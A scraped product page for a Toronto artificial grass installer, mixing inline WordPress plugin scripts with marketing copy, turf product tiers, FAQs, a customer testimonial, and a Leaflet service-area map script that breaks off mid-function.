var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]};
//# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"];
//# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"9b69e64184","preview":false,"postId":946,"scriptExtension":false};
//# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {};
window.SR7 ??= {};
_tpt.R ??= {};
_tpt.R.fonts ??= {};
_tpt.R.fonts.customFonts??= {};
SR7.devMode = false;
SR7.F ??= {};
SR7.G ??= {};
SR7.LIB ??= {};
SR7.E ??= {};
SR7.E.gAddons ??= {};
SR7.E.php ??= {};
SR7.E.nonce = '88f8757fa6';
SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
SR7.E.resturl = 'https://www.designturf.ca/wp-json/';
SR7.E.slug_path = 'revslider/revslider.php';
SR7.E.slug = 'revslider';
SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/';
SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/';
SR7.E.revision = '6.7.58';
SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family=';
SR7.G.breakPoints = [1240,1024,778,480];
SR7.G.fSUVW = false;
SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration'];
SR7.E.libs = ['WEBGL'];
SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia'];
SR7.E.resources = {};
SR7.E.ytnc = false;
SR7.JSON ??= {};
/*! Slider Revolution 7.0 - Page Processor */
!function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
Home › Artificial Grass Toronto
🌿 Artificial Grass Installation Toronto Design Turf is Toronto’s most trusted artificial grass installer. We transform front yards, backyards, rooftops, pool areas, and commercial landscapes into clean, low‑maintenance, year‑round green spaces. Our turf systems are engineered for durability, drainage, and long‑term performance in Canadian weather.
⭐ 235 Five-Star Google Reviews 🏡 Residential & Commercial Landscape Solutions 💧 Fast Drainage & Mud‑Free Performance 🍁 Built for Canadian Weather 🏆 A+ Rating with the Better Business Bureau Request a Free Quote
Why Toronto Homeowners Choose Artificial Grass Always Green, Always Clean No brown patches, no weeds, no mud. Your lawn stays perfectly manicured 365 days a year — even in shade,
heavy traffic, or unpredictable Toronto weather.
Zero Weekly Maintenance No mowing, watering, fertilizing, edging, or reseeding. Just enjoy a beautiful lawn without the time,
cost, or hassle of traditional upkeep.
Safe for Kids and Pets Our turf is non‑toxic, lead‑free, and built for real family use. No mud, no grass stains, and no chemicals —
just a clean, soft surface for play.
Built for Canadian Climates Engineered drainage, UV‑stabilized fibres, and durable backing ensure your lawn performs through rain,
snow, freeze‑thaw cycles, and summer heat.
🌿
Significant Environmental Impact Conserves over three billion gallons of water annually. With more than 6,000 synthetic turf fields in use across the U.S., each full‑sized field saves between 500,000 and 1,000,000 gallons of water every year. Eliminates the need to water lawns. The EPA reports that over one‑third of residential water use goes to lawn irrigation — more than 4 billion gallons per day. Replacing a typical 1,800 sq. ft. lawn with synthetic turf saves approximately 99,000 gallons of water per year. Eradicates the use of nearly a billion pounds of pesticides and fertilizers. Synthetic turf removes the need for harmful chemicals that contribute to water pollution in rivers, lakes, and estuaries.
Is artificial grass safe for kids and pets? Yes. Our turf is non‑toxic, lead‑free, and designed for everyday use. It’s soft, durable, and ideal for
families with children or pets who want a cleaner, mud‑free yard — especially when choosing our pet‑friendly turf systems .
How long does artificial grass last in Toronto’s climate? With proper installation and high‑quality materials, our landscape turf systems last 15–20 years, even with
heavy use and Canadian weather conditions — the same durability found in our backyard putting greens .
Does artificial grass drain properly? Absolutely. We build a proper base with engineered drainage and use perforated backing so water flows through
the turf and into the base, preventing puddles and mud — the same drainage technology used in our premium artificial grass products .
Will artificial grass look fake up close? No. Our European‑crafted turf uses multi‑tone fibres, micro‑curled blades, and delustering technology to
eliminate shine. Most homeowners — and their neighbours — are surprised by how natural it looks, especially
when compared to older turf systems.
What kind of maintenance does artificial grass require? No mowing, watering, or fertilizing. Occasional brushing and debris removal is usually all that’s needed to
keep your lawn looking fresh — one of the biggest advantages of choosing artificial grass in Toronto .
Can artificial grass handle heavy foot traffic? Yes. Our turf systems are engineered for durability with reinforced backing, dense stitching, and resilient
fibres that stay upright even in high‑traffic areas — the same construction used in our professional‑grade putting greens .
Premium Turf Options Our Premium turf systems offer the highest level of realism, durability, and performance.
Ideal for luxury residential landscapes, high‑traffic areas, and clients seeking the most natural look and feel.
Muskoka Royal‑70 Our most luxurious turf system, designed for premium residential landscapes.
Dense, soft, and exceptionally realistic with superior durability.
Ontario Lush‑80 Ultra‑realistic turf with a rich, full profile. Perfect for homeowners seeking the most natural
aesthetic and premium performance in all seasons.
Natural Turf Options Our Natural turf systems offer an ideal balance of realism, softness, and value.
Perfect for residential landscapes seeking a natural aesthetic with dependable performance.
Ontario Lush‑60 A beautifully balanced turf system offering natural softness and realistic texture.
Ideal for front yards, backyards, and everyday residential use.
Algonquin ECO‑60 A sustainable turf option with a natural profile and excellent durability.
Designed for eco‑conscious homeowners who want beauty and performance.
Entry‑Level Turf Options Our Entry‑Level turf systems provide excellent value while maintaining strong durability and a clean, natural appearance.
Ideal for budget‑friendly residential projects, small yards, and low‑traffic areas.
Ontario Lush‑40 A cost‑effective turf option offering a clean, natural look.
Perfect for small residential areas, decorative spaces, and light‑use applications.
Algonquin ECO‑40 A sustainable, budget‑friendly turf system designed for everyday residential use.
Provides dependable performance with an eco‑conscious construction.
Danille Black, Toronto ON
“We had such an amazing experience working with Design Turf. The team is super friendly and professional. We had a very shady and uneven yard full of tree roots and we did not think much could be done with space, but the result is outstanding. Everything from quoting / arrangements/installation was seamless and exactly as described. The installation only took one day and when we arrived home from work our toddler squealed and rolled around for hours. We have been enjoying picnics on the grass every evening ever since. Such an incredible difference and we cannot believe we waited 5 years to get this done. All the thumbs up for this company and they work they did”.
Transform Your Lawn with Premium Artificial Grass Enjoy a lush, maintenance‑free lawn all year long. No mowing. No watering. No mud.
Just a clean, beautiful yard that looks perfect every single day — installed by Toronto’s most trusted artificial grass experts.
Get Your Free Quote →
(function(){
'use strict';
/* ═══════════════════════════════════════════
CONFIGURATION — UPDATE THESE VALUES
═══════════════════════════════════════════ */
// Design Turf HQ coordinates (update to exact address)
var HQ_LAT = 43.6532;
var HQ_LNG = -79.3832;
// Service area pins (red markers) — add/remove as needed
var SERVICE_AREAS = [
{ name: 'Mississauga', lat: 43.5890, lng: -79.6441 },
{ name: 'Brampton', lat: 43.7315, lng: -79.7624 },
{ name: 'Vaughan', lat: 43.8361, lng: -79.4983 },
{ name: 'Markham', lat: 43.8561, lng: -79.3370 },
{ name: 'Oakville', lat: 43.4675, lng: -79.6877 },
{ name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 },
{ name: 'Pickering', lat: 43.8354, lng: -79.0868 },
{ name: 'Ajax', lat: 43.8509, lng: -79.0204 },
{ name: 'Newmarket', lat: 44.0592, lng: -79.4613 },
{ name: 'Milton', lat: 43.5183, lng: -79.8774 },
{ name: 'Burlington', lat: 43.3255, lng: -79.7990 },
{ name: 'Stouffville', lat: 43.9701, lng: -79.2453 },
{ name: 'Oshawa', lat: 43.8971, lng: -78.8658 },
{ name: 'Uxbridge', lat: 44.11396, lng: -79.11049 }
];
// WP REST API — Services category ID
// ► OPTION A: By category (requires categories enabled on pages)
var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID
// ► OPTION B: By parent page ID (uncomment below, comment out Option A)
// var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID
/* ═══════════════════════════════════════════
PIN FACTORY — Inline SVG markers
═══════════════════════════════════════════ */
function makePin(fillColor, label) {
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' +
'<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' +
'<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' +
'<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' +
'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' +
'<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' +
'</svg>';
return L.divIcon({
className: '',
html: svg,
iconSize: [32, 46],
iconAnchor: [16, 46],
popupAnchor:[0, -42]
});
}
var greenPin = makePin('#00A651', 'HQ');
var redPin = makePin('#E53935', 'Area');
/* ═══════════════════════════════════════════
MAP INITIALIZATION
═══════════════════════════════════════════ */
var map = L.map('dt-leaflet-map', {
center: [HQ_LAT, HQ_LNG],
zoom: 10,
scrollWheelZoom: false,
zoomControl: true,
attributionControl: true
});
// CartoDB Voyager tiles — clean, premium aesthetic
L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', {
attribution: '© <a href="https://openstreetmap.org">OpenStreetMap</a> © <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 19
}).addTo(map);
// ── HQ Marker (GREEN) ──
L.marker([HQ_LAT, HQ_LNG], { icon: greenPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' +
'<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' +
'<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' +
'<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' +
'</div>'
);
// ── Service Area Markers (RED) ──
var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]);
SERVICE_AREAS.forEach(function(area) {
L.marker([area.lat, area.lng], { icon: redPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' +
'<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' +
'<div style="font-size:12px;color:#666;">We service this area</div>' +
'</div>'
);
bounds.extend([area.lat, area.lng]);
});
map.fitBounds(bounds, { padding: [40, 40] });
/* ═══════════════════════════════════════════
SERVICE AREA SHADING — Convex Hull + Buffer
Renders behind markers automatically
═══════════════════════════════════════════ */
// Collect all points (HQ + service areas)
var allPoints = [[HQ_LAT, HQ_LNG]];
SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); });
// ── Convex Hull (Gift Wrapping / Jarvis March) ──
function cross(O, A, B) {
return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]);
}
function convexHull(points) {
var pts = points.slice().sort(function(a, b) {
return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0];
});
if (pts.length <= 1) return pts;
var lower = [];
for (var i = 0; i < pts.length; i++) {
while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0)
lower.pop();
lower.push(pts[i]);
}
var upper = [];
for (var j = pts.length - 1; j >= 0; j--) {
while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0)
upper.pop();
upper.push(pts[j]);
}
upper.pop();
lower.pop();
return lower.concat(upper);
}
// ── Buffer Expansion ──
// Pushes each hull vertex outward from centroid by a factor
function expandHull(hull, factor) {
var centLat = 0, centLng = 0;
hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; });
centLat /= hull.length;
centLng /= hull.length;
return hull.map(function(p) {
var dLat = p[0] - centLat;
var dLng = p[1] - centLng;
return [centLat + dLat * factor, centLng + dLng * factor];
});
}
var hull = convexHull(allPoints);
// ── Create custom map panes for layer ordering ──
map.createPane('outerGlow');
map.getPane('outerGlow').style.zIndex = 350;
map.createPane('innerFill');
map.getPane('innerFill').style.zIndex = 360;
// ── LAYER 1: Outer glow ring (wider, very faint) ──
var outerHull = expandHull(hull, 1.35);
L.polygon(outerHull, {
color: '#00A651',
weight: 0,
fillColor: '#00A651',
fillOpacity: 0.04,
smoothFactor: 1.5,
pane: 'outerGlow',
interactive: false
}).addTo(map);
// ── LAYER 2: Inner coverage zone (light green fill) ──
var innerHull = expandHull(hull, 1.15);
L.polygon(innerHull, {
color: '#00A651',
weight: 2,
opacity: 0.3,
dashArray: '8 6',
fillColor: '#00C853',
fillOpacity: 0.08,
smoothFactor: 1.5,
pane: 'innerFill',
interactive: false
}).addTo(map);
// ── LAYER 3: Subtle center radial (warm core near HQ) ──
L.circle([HQ_LAT, HQ_LNG], {
radius: 12000,
color: 'transparent',
fillColor: '#00A651',
fillOpacity: 0.06,
pane: 'innerFill',
interactive: false
}).addTo(map);
/* ═══════════════════════════════════════════
MAP TEXT LABEL — "Our Service Area"
Positioned over Lake Ontario (dead zone)
═══════════════════════════════════════════ */
var labelPane = map.createPane('mapLabel');
labelPane.style.zIndex = 450;
labelPane.style.pointerEvents = 'none';
L.marker([43.30, -79.18], {
pane: 'mapLabel',
interactive: false,
keyboard: false,
icon: L.divIcon({
className: '',
iconSize: [340, 80],
iconAnchor: [170, 40],
html:
'<div style="' +
'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' +
'font-size:28px;' +
'font-weight:800;' +
'color:rgba(0,166,81,0.35);' +
'text-transform:uppercase;' +
'letter-spacing:6px;' +
'text-align:center;' +
'white-space:nowrap;' +
'line-height:1;' +
'pointer-events:none;' +
'user-select:none;' +
'-webkit-user-select:none;' +
'text-shadow:0 1px 3px rgba(255,255,255,0.6);' +
'">Our Service Area</div>'
})
}).addTo(map);
// Enable scroll zoom after first click (UX-friendly)
map.once('click', function() { map.scrollWheelZoom.enable(); });
/* ═══════════════════════════════════════════
DYNAMIC SERVICE LIST — WP REST API
═══════════════════════════════════════════ */
var apiUrl;
if (SERVICES_CATEGORY_ID > 0) {
apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID +
'&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt';
} else {
renderFallbackServices();
return;
}
var grid = document.getElementById('dt-services-grid');
fetch(apiUrl)
.then(function(response) {
if (!response.ok) throw new Error('API error: ' + response.status);
return response.json();
})
.then(function(pages) {
if (!pages || !pages.length) { renderFallbackServices(); return; }
grid.innerHTML = '';
pages.forEach(function(page) {
grid.appendChild(createServiceCard(page.title.rendered, page.link));
});
})
.catch(function(err) {
